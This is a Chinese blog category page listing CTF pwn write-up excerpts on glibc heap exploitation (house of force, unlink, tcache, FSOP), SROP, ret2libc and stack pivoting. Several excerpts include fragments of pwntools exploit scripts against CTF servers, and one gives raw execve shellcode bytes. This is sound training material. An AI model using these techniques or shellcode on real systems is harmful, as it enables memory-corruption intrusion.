
CTF
文章平均质量分 53
huzai9527
这个作者很懒,什么都没留下…
展开
-
[_IO_FILE] 原理解析
FSOPCFF-WIKI中有如下描述FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。触发条件梳理一下 FSOP 利用的条件,首先需原创 2021-11-10 13:36:35 · 3786 阅读 · 0 评论 -
【tcache stash unlink +】图解
tcache stashing unlink +tcache 的入链操作smallbin 入链操作tcache stash源码#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache原创 2021-11-09 17:54:00 · 418 阅读 · 0 评论 -
【large bin 】源码解析
large bin attacklarge bin的结构网找了好久,没有一个形象的理解确实读源码不方便,找了好久,mkx7师傅的这篇文章总结的及其好!largebin 入bin操作当确定victim的大小在largebin范围后,如何将victim插入larbin的过程如下首先判断largebin 是否为空如果空的直接设置victim为victim size大小的chunk 头节点,并将fd_nextsize和bk_nextsize设置为victm如果largebin 不原创 2021-11-09 14:30:16 · 720 阅读 · 0 评论 -
IDA修复跳表
一、 IDA打开遇到JUMP CS命令这是由于GCC在编译超过5个switch的结构时会用跳表进行优化,变成上面的样子二、使用EDIT --> other --> specify switch将光标打在JUMP命令上按TAB键切换到汇编,然后才能进行编辑我解释一下各个参数的意义Address of Jump table:跳表的地址,cmp eax 5,之后跳到的地址,这里就是0x69E0Number of elements:switch 的个数,先前cmp eax 5,加原创 2021-11-08 12:03:20 · 2524 阅读 · 0 评论 -
[uaf + double free] de1ctf_2019_weapon
[uaf + double free] de1ctf_2019_weapon1. ida分析删除的时候,只是检查了index范围,没有检查是否存在,存在double free并且free后,指针没有置空,存在uaf限制了chunk大小,需要通过uaf 构造fake chunk,修改chunk head的大小,构造unstored bin attack2. 思路1⃣️申请3个chunk 0,chunk 1,chunk 2,用chunk 0伪造chunk 1 的head,free chunk原创 2021-09-22 20:43:04 · 387 阅读 · 0 评论 -
[uaf + off by one -> stdout leak libc] 长城杯pwn1
1. ida分析存在uaf 和 off by one,可以实现任意地址写没有show函数,且保护全开,不能修改got表2. 思路使用stdout爆破,泄漏libc先申请几个chunk,通过off by one,构造chunk lapping再通过uaf修改fd,构成任意地址写注意点就是,想法设法构造chunk复用uaf + off by one 总结一下就是,先del构造fastbin,再改chunk head构造unstored bin,再申请一个不是fastbin大小的chunk覆原创 2021-09-22 13:27:52 · 518 阅读 · 0 评论 -
[tcache double free + orw]MynoteMax
[tcache double free + orw]MynoteMax1. ida分析漏洞点和Mynote一样,但是加了沙盒禁用了execve,因此同样利用double free 和 uaf 进行 orw进行操作2. 思路本题需要从堆打到栈,需要利用一些通用的gadgets, 如setcontext + 53将 free_hook 设置为 setcontext +53,再在相应的chunk中布置相应的sigframefree掉相应的chunk触发setcontext(srop),原创 2021-07-11 23:53:07 · 302 阅读 · 0 评论 -
[tcache double free] Mynote
[tcache double free]1. ida分析存在double free 以及 uaf题目给的libc是早期的可以进行double free的2.27版本关于如何使用题目提供的libc进行调试,看ctf-pwn-patchelf-用题目给的libc运行二进制文件2.思路先填满tcache,使用unstored bin泄漏libc的地址(这里只能申请9个chunk,可以将chunk 0 释放7次,填满tcache)利用double free修改free_hook为system原创 2021-07-11 23:37:33 · 555 阅读 · 0 评论 -
ctf-pwn-patchelf-用题目给的libc运行二进制文件
用给定的libc进行调试首先根据题目给你的libc,查找相应版本的连接器然后去glibc-all-in-one中下载相应的ld文件glibc-all-in-one安装步骤https://github.com/matrix1001/glibc-all-in-one使用查看各unbuntu版本的glibc./update_listcat list下载对应版本的glibc./download 2.27-3ubuntu1_amd64下载好的glibc在l原创 2021-07-07 22:19:10 · 5808 阅读 · 6 评论 -
[house of force] bcloud
[house of force] bcloud1. ida分析漏洞主要在init函数输入name的时候,可以泄漏heap的地址org、host都用的read函数,因此都存在off by one32位系统中的off by one,最后很有可能是有值的,不是\x00,试一下就知道了,我这里试了一下,可以触发house of force2. 思路利用name,泄漏heap的基址,得到top chunk addrdef inti(name,org,host):原创 2021-05-30 22:15:21 · 260 阅读 · 0 评论 -
how2heap_house_of_einherjar
house of einherjar1. 利用原理两个物理相邻的 chunk 会共享 prev_size字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。后向合并时,新的 chunk 的原创 2021-05-30 09:43:09 · 205 阅读 · 0 评论 -
[house of einherjar] tinypad
[house of einherjar] tinypad1. Ida 分析程序直接显示chunk中的内容,相当于show了delete存在uafedit函数,tinypad缓冲区读入数据add函数,只能申请4个chunk,使用read_until读入read_until存在off by null2. 思路条件总结,存在可编辑的数组,存在off by null,chunk中的数据没法轻易的修改(strcpy \x00截断了),可以使用house of ein原创 2021-05-27 14:12:37 · 198 阅读 · 0 评论 -
glibc中free函数详解
__libc_free详解(tcache 略)1. 检查是否存在 hook函数,如果有就执行void__libc_free (void *mem){ mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem *//* 1. 关于__free_hook,释放时会检查其会否为NULL,否的话就执行相应的函数 2. __free_hook指向的函数,其调用的参数,为chunk中的内容原创 2021-05-27 09:51:38 · 1015 阅读 · 0 评论 -
[fast_bin_consoli + unlink]sleepyHolder_hitcon_2016
[fast_bin_consoli + unlink]sleepyHolder_hitcon_20161. ida分析add函数delete函数unlink 需要控制的全局指针的位置2. 思路先申请两个small和big chunk,释放small chunk,申请huge chunk,触发consolidate,再次释放small chunk,触发double free申请small chunk,同时构造fake chunk,释放big chunk,触发unlin原创 2021-05-25 22:48:27 · 125 阅读 · 0 评论 -
[double free] 9447 CTF : Search Engine
[double free] 9447 CTF : Search Engine1. ida分析(越来越感觉这一步最重要)_add_sentence单词的结构体,gdb中的显示单词的结构体为struct word{char * word_content,int word_size,char * sentence_content,int sentence_size,}edit函数看到这类的编辑,需要注意的是字符串最后的截断字符,是不是存在off by null原创 2021-05-25 07:59:51 · 227 阅读 · 0 评论 -
fmt在bss段(neepusec_easy_format)
fmt在bss段(neepusec_easy_format)1.gdb操作vmappstackretaddr2.思路先泄漏能够泄漏的地址包括:当前站地址、libc地址然后通过下面的指令进行地址写#这里是只要覆盖偏移为12的地址值的后两个字节debug()offset0 = ret&0xffffpayload = '%'+str(offset0)+'c%12$hnxxxx\x00'p.sendline(payload)p.recvuntil('x原创 2021-05-24 09:32:57 · 468 阅读 · 0 评论 -
[fmt+shellcode]string
[fmt+shellcode]string1. ida分析main函数分析看函数执行流程通过aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p得到format的偏移,再v2在format上面一个字节,就得到的v2的偏移再通过任意写%85c%7$hhn 将85写到v2的最低位的字节%c:输出字符,配上%n可用于向指定地址写数据。%d:输出十进制整数,配上%n可用于向指定地址写数据。%x:输出16进制数据,如%ix表示要泄漏偏移原创 2021-05-23 11:49:33 · 150 阅读 · 0 评论 -
orw_shellcode_模板
orw64位shellcodeshellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"#pwntoolscontext.arch = elf.archshellcode = asm(shellcreaft.sh())orw#pwntoolsshellcode = ''shellcode += shellcraft.open原创 2021-05-23 11:24:10 · 1759 阅读 · 0 评论 -
how2heap-fastbin_dup_consolidate
fastbin_dup_consolidateconsolidate 过程若 get_max_fast() 返回 0,则进行堆的初始化工作,然后进入第 7 步从 fastbin 中获取一个空闲 chunk尝试向后合并若向前相邻 top_chunk,则直接合并到 top_chunk,然后进入第 6 步否则尝试向前合并后,插入到 unsorted_bin 中获取下一个空闲 chunk,回到第 2 步,直到所有 fastbin 清空后进入第 7 步退出函数poca=malloc(x原创 2021-05-21 23:30:42 · 267 阅读 · 0 评论 -
how2heap-double free
how2heapdouble free通过double free 能够实现hose of spirit,即能够在想要的地址分配相应的chunk,实现任意地址写double free 存在的条件是,在free的时候没有检查chunk的标识位(用户)glibc 2.2加入tcache后,double free需要先填满tcachedouble free 后的bins情况第一次申请,写入fake_chunk_addr再连续两次申请,消耗fastbin,只剩下fake_chunk在原创 2021-05-21 16:46:20 · 167 阅读 · 0 评论 -
【fast bin dup + house of spirit】pwnable_secretgarden
【fast bin dup + house of spirit】1.ida 分析add函数没什么问题remove函数,在free之前没有对结构体中的标志位进行检验,可以进行double free,free后没有置空,存在指针悬挂2.思路利用unstored bin泄露libc的地址申请大chunk并释放在我们从ustored bin中申请堆块的时候,如果申请的是small bin大小的堆块,那么会先从unstored bin中分割出符合size的堆块,放入到s原创 2021-05-20 23:21:17 · 129 阅读 · 0 评论 -
[pie+libc]national2021_pwny
[pie+libc]国赛_pwny1. ida 分析write函数并没有对输入的index做合法性检验,第一次read函数由于fd不合法不会执行,但可以往任意地址写入一个0字符fd紧接着array,可以将fd覆盖为0,可以实现任意写当fd = 0 时,通过read函数可以通过输入index执行任意读2. 思路(通过数组进行任意地址读写)先通过write方法覆盖fd为0,就有了任意读def write(index): p.sendlineafter('Your原创 2021-05-18 20:11:32 · 229 阅读 · 0 评论 -
[off by null + tcache dup]lctf_easy_heap
[off by null + tcache dup]lctf_easy_heap1.ida 分析malloc函数中输入content存在off by null2.思路通过off by null,造成chunk overlapping,泄漏Libc的地址这里存在off by null 通过unstored bin就可以泄漏,但由于tcache的存在,需要注意先申请10个chunk,释放3-9,填满tcache bin之后,再释放0,1,2编号的chunk进入unstored bin原创 2021-05-17 21:05:35 · 291 阅读 · 0 评论 -
ubuntu 18 CTF 环境搭建
ubuntu 18 CTF 环境搭建一、换源sudo gedit /etc/apt/sources.list将下面的内容替换文件内容# 中科大源deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiversedeb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiversedeb原创 2021-05-17 09:48:11 · 978 阅读 · 0 评论 -
【unlink】hitcontraining_bamboobox
【unlink】hitcontraining_bamboobox1. ida分析有存放全局指针的数组,存放格式为itemlist[0]为size,itemlist[1]为指向item的指针change时没有检测输入长度,存在堆溢出2.思路申请3个chunk,编辑chunk0 ,构造fake chunk,溢出到chunk1的size位free chunk1,unlink后itemlist[1] ->itemlist[-2]再次编辑chunk0,即编辑item原创 2021-05-13 22:14:18 · 218 阅读 · 0 评论 -
【off by null】asis2016_b00ks
【off by null】asis2016_b00ks1. ida分析在设置author name的时候存在off by null,输入32个字符后,会在后面添加\x00,author name 紧接着 booklist,当author name输入32字符后,创建一个book会覆盖\x00,此时print book会泄露book[0]的地址。2. 思路设置author name的长度为32(最后的\x00会被后创建的book[0]覆盖)创建两个book,第二个book足够大(泄原创 2021-05-13 21:04:27 · 322 阅读 · 0 评论 -
【house of force】gyctf_2020_force
【house of force】gyctf_2020_force1.ida分析申请任意大小的堆块,存在堆溢出2.思路申请一个较大的堆块,泄露libc的地址修改top chunk的地址为0xffffffffffffffff计算top chunk到malloc_hook-0x33的距离(malloc_hook-0x23 是一个合法的chunk)其实这个0x30-0x37应该都可以,malloc在分配的时候会自己进行对齐通过申请到malloc上方的chunk修改mall原创 2021-04-20 21:36:04 · 183 阅读 · 0 评论 -
【exit hook】ciscn_2019_n_7
【exit hook】ciscn_2019_n_71.ida分析输入666获得puts地址,计算libc偏移输入name的时候,可以输入16个字节,但是只有前8个字节可用,后面8个字节是content的指针2.思路通过puts计算libc的偏移溢出到content指针,修改为exit_hook的地址edit将exit_hook改为onegadget3.expfrom pwn import *p = remote('node3.buuoj.cn',28010)原创 2021-04-19 21:48:00 · 716 阅读 · 0 评论 -
【unlink】 zctf2016_note2
【unlink】 zctf2016_note21.ida分析堆溢出,unsigned int用于判断条件,导致的堆溢出指针数组2.思路创建3个chunk,chunk0、chunk1、chunk2,通过chunk1连接chunk0,chunk2。构造unlink在chunk0,构造fake chunk,free(chunk1)然后再申请修改chunk2的size,add(0,'b'*0x10 + p64(0xa0)+p64(0x90))释放chunk2,unlin原创 2021-04-19 11:19:42 · 274 阅读 · 0 评论 -
【unstored bin attack】hitcontraining_magicheap
【unstored bin attack】1.ida分析2.思路经典的unstored bin attack,修改unstored bin 中的bk为magic-0x10 即可将magic改为一个较大的数3.expfrom pwn import *p = remote('node3.buuoj.cn',25879)#p = process('./magicheap')context.log_level = 'debug'def add(size,cont): p.sendlin原创 2021-04-14 22:53:14 · 180 阅读 · 0 评论 -
【静态编译+off by one】huxiangbei_2019_hacknote
【静态编译+off by one】huxiangbei_2019_hacknote1.ida分析通过string,找到add函数,然后找到malloc函数找到 malloc_hook的地址寻找堆的漏洞2.思路申请四个chunk0,1,2,3 大小分别为,0x18,0x30,0x60,0x30通过off by one 修改 chunk1 的size 位0xb1 (0x30+0x60+0x10+0x10)free(2) free(1)add(0xa0原创 2021-04-12 22:33:26 · 425 阅读 · 0 评论 -
[off by one] hitcontraining_heapcreator
[off by one] hitcontraining_heapcreator本题主要看懂,edit中的off by one, 知道off by one 还需要知道程序的大概结构体从内存情况推测结构体每次申请空间,会创建2个chunk,其中一个固定为下面结构体形式,另一个根据大小分配struct test{ int size; char *content;}expfrom pwn import *#p = remote('node3.buuoj.cn',27554)p原创 2021-04-01 11:32:46 · 499 阅读 · 0 评论 -
SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)
【SROP】ciscn_2019_es_71. ida 分析vuln有两个函数,read、write;read函数存在栈溢出,write能够泄露栈上的地址存在sigreturn的调用2. 思路首先泄露栈上的返回地址,然后通过gdb调试,输入的参数与返回地址的偏移有了参数地址,站地址-偏移,就可以输入/bin/sh且得到它的地址有了/bin/sh、栈地址、sigreturn、syscall就可以使用SROP3. expfrom pwn import *#p = proces原创 2021-03-25 11:02:37 · 496 阅读 · 0 评论 -
babyfengshui_33c3_2016 -- house of spirit
本题主要就是看懂一条判断溢出的if语句结构体是怎么看出来的代码上看struct{ char *text; char name[124];} 从内存上看思路step4 的关于408哪里来的看内存地址,计算chunk3的content到chunk1的struct即可expfrom pwn import *p = remote('node3.buuoj.cn',29853)#p = process('./babyfengshui_33c3_20原创 2021-03-17 19:27:54 · 145 阅读 · 0 评论 -
[ZJCTF 2019]EasyHeap-house of spirit
[ZJCTF 2019]EasyHeap-house of spirit先给出exp,exp中我标明了每一个步骤每个步骤执行完后,内存中的地址空间我也贴出来了expfrom pwn import *p = remote('node3.buuoj.cn',29012)#p = process('./easyheap')context.log_level = 'debug'def creat(size,content): p.sendlineafter('Your choice :',st原创 2021-03-15 17:09:36 · 279 阅读 · 5 评论 -
【堆溢出】babyheap_0ctf_2017
堆溢出创建3个chunk修改chunk1 head将fake chunk 尾部造假的chunk head释放chunk1 即fake chunk再申请和fake chunk一样大小的chunk还原chunk2 的头部申请chunk3, 防止释放chunk2 后,合并到top chunkfree chunk2泄露main_area的地址 这里泄露的是main_arena+88 的地址 这里得到mian_arena的实际地址原创 2021-03-14 22:49:00 · 338 阅读 · 0 评论 -
栈迁移
栈迁移1.为什么需要栈转移?在栈空间不够存放payload的情况下,需要一个新的地址空间存放payload开启PIE保护,栈地址未知,我们可以将栈劫持到已知的区域2.概念劫持栈的rsp(ESP),使其指向其他位置,形成一个伪造的栈,在此栈中做ROP3.必要的gadgetpop ebp;ret 释放EBP,并连接伪造的栈leave;ret 更改ESP,指向后续的payload4.原理通过 pop ebp;ret + 伪造的栈让程序直接跳转到伪造的栈里面,然后为了保持栈平衡原创 2021-02-22 12:37:37 · 609 阅读 · 1 评论 -
ret2csu
ret2csu1. 原理在64位程序中,函数的前六个参数是通过寄存器传参的,但是大多数时候,我们很难找到每个寄存器对应的gadgets,这个时候我们可以用x64下的__libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的.text:00000000004005C0 ; void _libc_csu_init(void).text:00000000004005C0 public __libc_csu_init.text:00000原创 2021-02-19 12:46:55 · 381 阅读 · 0 评论 -
ret2libc
1. buooj - ciscn_2019_c_1(64 位)from pwn import *#p = remote('node3.buuoj.cn',28190)p = process('./ciscn_2019_c_1')context.log_level = 'debug'puts_plt = 0x4006e0puts_got = 0x602020gets_got = 0x602050pop_rdi = 0x0000000000400c83main = 0x4009a0#ste原创 2021-02-03 22:07:53 · 563 阅读 · 0 评论 -
ret2syscall
1.ctfwiki-rop检查保护,开启NX检查溢出点gets函数存在溢出,并且提醒没有可用的system函数以及不可以用shellcode构造系统调用寻找eax寻找ebx、ecx、edx寻找int 0x80寻找 /bin/shexpfrom pwn import *p = process('./rop')context.log_level = 'debug'pop_eax = 0x080bb196pop_edx_ecx_eb原创 2021-02-02 18:18:38 · 249 阅读 · 2 评论